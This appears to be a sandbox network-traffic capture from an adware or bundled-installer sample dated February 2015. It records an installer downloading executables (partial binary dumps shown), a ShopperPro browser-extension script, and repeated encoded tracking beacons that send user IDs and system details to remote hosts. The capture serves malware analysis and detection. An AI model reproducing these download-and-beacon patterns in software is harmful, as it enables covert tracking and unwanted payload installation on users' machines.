Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:35 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 03:59:35 GMT..Content-Length: 0..

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1697

content-transfer-encoding: binary

Cache-Control: max-age=422256, public, no-transform, must-revalidate

Last-Modified: Sun, 8 Feb 2015 01:18:30 GMT

Expires: Sun, 15 Feb 2015 01:18:30 GMT

Date: Tue, 10 Feb 2015 04:02:59 GMT

Connection: keep-alive
0..........0..... .....0......0...0...A0?1=0;..U...4VeriSign Class 3 C
ode Signing 2004 CA OCSP Responder..20150208011830Z0s0q0I0... ........
[email protected].!......Q...==d6|h.[x....7..`..........cV.!.....201502
08011830Z....20150215011830Z0...*.H..............Y.i... .omtQr."......
[*l<Y..1.:...K.3..mR..&M....}......T...........G9..&.....a..s....an
6)|1..q...Ay.7`."..4........7...B.d... [email protected]..\.....O[.c
-k..'[email protected]  ....~.....K....&...'5n..
..Sl.r5.Y|.....Ny...;.!..4B....0...0...0..{.........[..I|.....Zm..0...
*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1.0...U....VeriSig
n Trust Network1;09..U...2Terms of use at hXXps://VVV.verisign.com/rpa
 (c)041.0,..U...%VeriSign Class 3 Code Signing 2004 CA0...140428000000
Z..150729235959Z0?1=0;..U...4VeriSign Class 3 Code Signing 2004 CA OCS
P Responder0.."0...*.H.............0.........Y....h..@..>.....%.-..
...O...' y.........x..Gw.xF.....?..Z..u,.X.&..........3C..H.l.....f..;
]s!.\"v...|....][email protected]. ..W....n..*..-
f?EY.......UN...r...........-_.%..,P;b.....)(.P.4...,.%....<..6....
.[r^X.EV..S...5#'Y.. .TD...........0...0...U.......0.0...U.%..0... ...
....0...U...........0... .....0......0f..U. ._0]0[..`.H...E....0L0#.. 
.........hXXps://d.symcb.com/cps0%.. .......0...hXXps://d.symcb.com/rp
a0!..U....0...0.1.0...U....TGV-B-1080...U......"...?....`>q..i1o...
0...U.#..0.....Q...==d6|h.[x....70...*.H.............B8@.$..wo......E.
....P52"b*@'C\.y.(...n....h.f..7f.....v...pb<...]..|..........k<<< skipped >>>

GET /t.ashx?e=eISsn0A7mAaebxLgvS5H7g6hxqMAiseH3K6GAkJ5kE/8ln8Iap23//2TEkHeJNDUNLVXkHqu5mvMMv39XlAOU5kfatyEXGYuWLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4Q043Lr44oS_OrEDAYsCBmfP1n_e1oNhvBQAtx7Ej1Gmjy1YKmyGTg==

abfgshdgfjhsk....

GET /t.ashx?e=eISsn0A7mAaebxLgvS5H7g6hxqMAiseH3K6GAkJ5kE/8ln8Iap23//2TEkHeJNDUNLVXkHqu5mvMMv39XlAOU5kfatyEXGYuWLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: iuvRf3Ef5LwQTrvZWVhNvmAa2x_AQMIEBP9tlUiefLU7HzFbnUBiDg==

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: uBoyjxTbJXVDVXHon4ixVe1k7m8mJNskdyZr9xJDD67qy6UERvrAcA==

abfgshdgfjhsk..

GET / HTTP/1.1

Host: VVV.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=J4LZVKenBIeu8wePyICgAw

Content-Length: 262

Date: Tue, 10 Feb 2015 03:59:35 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=J4LZVKenBIeu
8wePyICgAw">here</A>...</BODY></HTML>..HTTP/1.1 3
02 Found..Cache-Control: private..Content-Type: text/html; charset=UTF
-8..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=J4LZVKenBIeu8wePy
ICgAw..Content-Length: 262..Date: Tue, 10 Feb 2015 03:59:35 GMT..Serve
r: GFE/2.0..Alternate-Protocol: 80:quic,p=0.02..<HTML><HEAD&g
t;<meta http-equiv="content-type" content="text/html;charset=utf-8"
>.<TITLE>302 Moved</TITLE></HEAD><BODY>.<
;H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://
VVV.google.com.ua/?gfe_rd=cr&ei=J4LZVKenBIeu8wePyICgAw">here<
;/A>...</BODY></HTML>....

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583240

Cache-Control: private, max-age=86400

Expires: Wed, 11 Feb 2015 03:59:05 GMT

Date: Tue, 10 Feb 2015 03:59:05 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
..................X...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2AwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&apptitle=ShopperPro&channel=iF2AwJSsmtycl HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: inst.shoppingate.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:20 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Mon, 02 Feb 2015 16:49:30 GMT

ETag: W/"aabbeb3683fd01:0"

X-Server-Name: WEB01

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

Expires: Wed, 11 Feb 2015 04:00:20 GMT

Cache-Control: max-age=86400

X-Cache: HIT

Content-Encoding: gzip
6172.............}yW.I...>...r.)e!.b..Jr..X.... \.....L-XH../..g..{
c.L..]5o..7..e.7n.=n|.. ..:......:..v..........h<....GY.=.........g
.d...Jq...|@.I9.....$...~?.v... ..........q)......X..W...J..{.,...u.E.
..,.rWa..e.~6.L...=..!n.*.ac:.. I....0...!.Zy)gv..7...R.....SJ..Z..]..
... ..J..WQv.^.c.YR.*..,.k.....]..."...i.......n.(...,....n..[w.E.V8..
..`c.....qgv....U}.kJ...u ..t...eXNW.t............M?.....=..g[.....wo.
i.....E.3nMJi....H.E....4.m..U.|..*%.V...`.4!......;..&`...k%.....0.r.
.............d...2.F.8.J.._L.o...lv.A..M.u6..............bw.I.....Z...
..X.G...c.h.f!!=......o.Gg......vy...........S>..*...._...5......#Q
.q....~k.._.O.G.....;...|rz._o4..^5...g.o.>~(...1.....x......}.....
{.|}y...T........)n.(X[...u.......=.7.......F...<T.....4..N!.'z">
;-.R.....T..... ....a..f..]..\D..e;[email protected]
.U...a.E.)h<7(..A.N..=|PR...v....)L..,..nd}P..x.._[.S..F\d.^.M.q.O.
..s?kt.l...3.PI..........2..UN...L....U..w..../.t.....=.V[..l....H....
.z.Md(;...$.....i...A..j.....f..W...EkA.[X.;.4....2...N...]M/...Y.!.-.
.". K.m.5.....oo...q.%.O..8>..?..%.Ots.......{%./U.3~....l..q5..50.
...9.L.....r.Ye.M.(..6.v..!.mVV..)..V.9./U;.)-....z.......`..l..0.J...
.8.{..V...i.I.V...x........._f...*..[.....<...qy..4. ..:,.H...h..\.
.z.1..#.......C.r9.1.f ....>!.cBv..I`..B. ...GH8.T.`..7/.......O..:
......v.r\......4.....M.O....U..-..&J.,]...7yIRD.......j@............:
@.j......Ub.C)......UmLg....f.(........>...D.....()u...[9f'....%...
ePm.?. ...q.j....2......h=@..<0.....Z;.)...a. ..F....d..$U...95<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Init&text=BHO version: 1.0.1.4. IE version: 10.0.9200.16521. DB name: database1_0_0.json. DB version: 1.0.1.0&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=5 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 04:00:25 GMT..Content-Length: 0..

GET /?product=firefox-34.0.5-complete&os=win&lang=en-US HTTP/1.1

Host: download.mozilla.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=900000-1199999

Cookie: optimizelySegments={"245617832":"none","245875585":"direct","245677587":"ff","246048108":"false","869421433":"true"}; optimizelyEndUserId=oeu1401956287616r0.2603029596469415; optimizelyBuckets={}; __utma=150903082.1617578787.1401956289.1401956289.1401956289.1

Connection: keep-alive


HTTP/1.1 302 Found

Server: Apache

X-Backend-Server: bouncer3.webapp.phx1.mozilla.com

Cache-Control: max-age=60

Content-Type: text/html; charset=UTF-8

Date: Tue, 10 Feb 2015 03:59:09 GMT

Location: hXXp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar

Keep-Alive: timeout=3, max=500

Content-Length: 0

Connection: Keep-Alive

X-Cache-Info: cached

HTTP/1.1 302 Found..Server: Apache..X-Backend-Server: bouncer3.webapp.
phx1.mozilla.com..Cache-Control: max-age=60..Content-Type: text/html; 
charset=UTF-8..Date: Tue, 10 Feb 2015 03:59:09 GMT..Location: hXXp://d
ownload.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US
/firefox-34.0.5.complete.mar..Keep-Alive: timeout=3, max=500..Content-
Length: 0..Connection: Keep-Alive..X-Cache-Info: cached..

GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540765&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=bxiizz55zjgy0qyekng0vi55


HTTP/1.1 302 Found

Connection: close

Date: Tue, 10 Feb 2015 03:59:24 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540765&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1268
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8c
cfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1423540765&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa
-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1423540765&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGQZyQmL5DwxHRo8R5yFk4y5MH1KTQ==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: dwl4rwv9nkwfy.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:56:46 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 3310

X-Cache: Hit from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: rh68jFye6HDsbWQNVr1V9yn5xIjaxW-IG34A0LdYNu6ZcC7zv86pXw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
.....................................................9]...c...S...q@..
W...P.....HSP..........SP.3:[email protected]@.......u....q@.
........9].u".. ?B.j...`?B.......M.... ?B..c.....`?B... ?B..R....E..4.
 ?B.3...;....#M..D.....<....4. ?B.V.......p6B..5`r@.;.t.RQ...E....6
B.;[email protected]..<.....W. A....;
.tBj\[email protected]@...u...|p@[email protected]:.u.9
].t.j......Wh..B..EE..W..tp@..^...j..0...S.....P.!H...5...j......j....
[email protected]].......V..G..........WV.%B..j......S
[email protected]#.E.;.v%8.t!V..G..;.t...,P.u...D.....E.....
..9][email protected]@.....o........j.
.....PV.=A...r...j1........E....V.u..E..w?..V.p.@...t.V..D....h..B.V..
C..P..>..P..D..V.JF...p.@..}..|1V..F..3.;.t..M....QP..`[email protected].<<< skipped >>>

GET /12360.ashx?e=657cd9m3NQH uUohEa38nQ6hxqMAiseHDcqmwWeNhbb8ln8Iap23//2TEkHeJNDU/gWpMzttQ0rMO5V10xYyR0G9rwS1lKyqDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3uoYeE0rOcJFt02cS7rp/agTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cKA3e4YdyjH0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cYuSYmnH8HxoAjC-NiGur1czUuVRkRi8budkqtya0JRy07Sm1qeTOQ==

....

GET /12360.ashx?e=M5cPy8d51cNxQPEjIVQx7nUjtFHSY868jA5kVqVgWdAgLxC0aXqYrYp5QRbd xf3SRrhYDEqCWxYjpMV9S7WkNUB7N1/dopR17e6nA3xYScE8SFHLIEPsFKgSL9 rF8HBfYoMzJwIv1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IuMGcgwKLr-uHHqdEPDdhkDH71yeLwJg5NX0eRN3zCEMpmgJFWkPKQ==

....

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtSOm5eZ4cw1FBPrMwLm 2sRKYX3Ti/i3YOiW0 omKwO0WlbXC9DzBpI94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:49 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: E9mUT_OgIRoZDZ6XpMs275wYY4gBpWpW6nQsb2SA68Lvutzkqx52ZA==

....

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtTEJfvBkaCCU9JDpDz//pXKTtJXFp5 Wc F1daz2AcKxastnHeKqEA5dKHj74dJ/dzd9Yh0r3ByIPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLACUqzVu2beTdw7p1Os2HNN/PqtFiqCz 1wYEi/XN6GhI9emscNIpDc= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:49 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: xkcu-JSpHiNG5LcD-CMvamIoVSkcf4socln8OM43f8GWrva-3Mkd-Q==

....

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtSSe6wB6uwHTPUd/QfilrMBAltiGSLIu3jTI/BdPpi2K8DfJqMJzaCLHcPH8e2aI0 M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWoLIzPyE2jV/aOU2oLI3GdQD9X1g5j6i U5g BjsjVIjnnmMibQg6 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -7M_5qmnO9_4AyijYS679jN8KzY_VwQvGACzbKTwdKKAkHcJvnzqlQ==

....

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtTTuh9zxLe96tCUHeR8YCF3eUieKUOy0CNssIFedkeDcwU A6kiYcjN5jgwqhpV 3QaM eJWkTw6uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTMR0tXSlEdaRjVew HFEZV9jVBmhFP5Xl0m/qXEXQVT1t0W/6NZnG0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:49 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vNjq9vFXtNY2_zek6eAeu8yuAmvw65qQHhyBRI3ngJeHcXBMCMTkMQ==

....

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtTF/nvWLek4mQTxIUcsgQ wziIw8Q49/dgttmOVSqw04CNiCF4FJfQXuVsw3gS4GmHhRrrlB59yRveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLACUqzVu2beTdw7p1Os2HNN/PqtFiqCz 1wYEi/XN6GhI9emscNIpDc= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:49 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2FINxPNa-Sx3v23r8u1nZt3w9-4hXybv85q52ag5xKcj-MaMMRhocw==

....

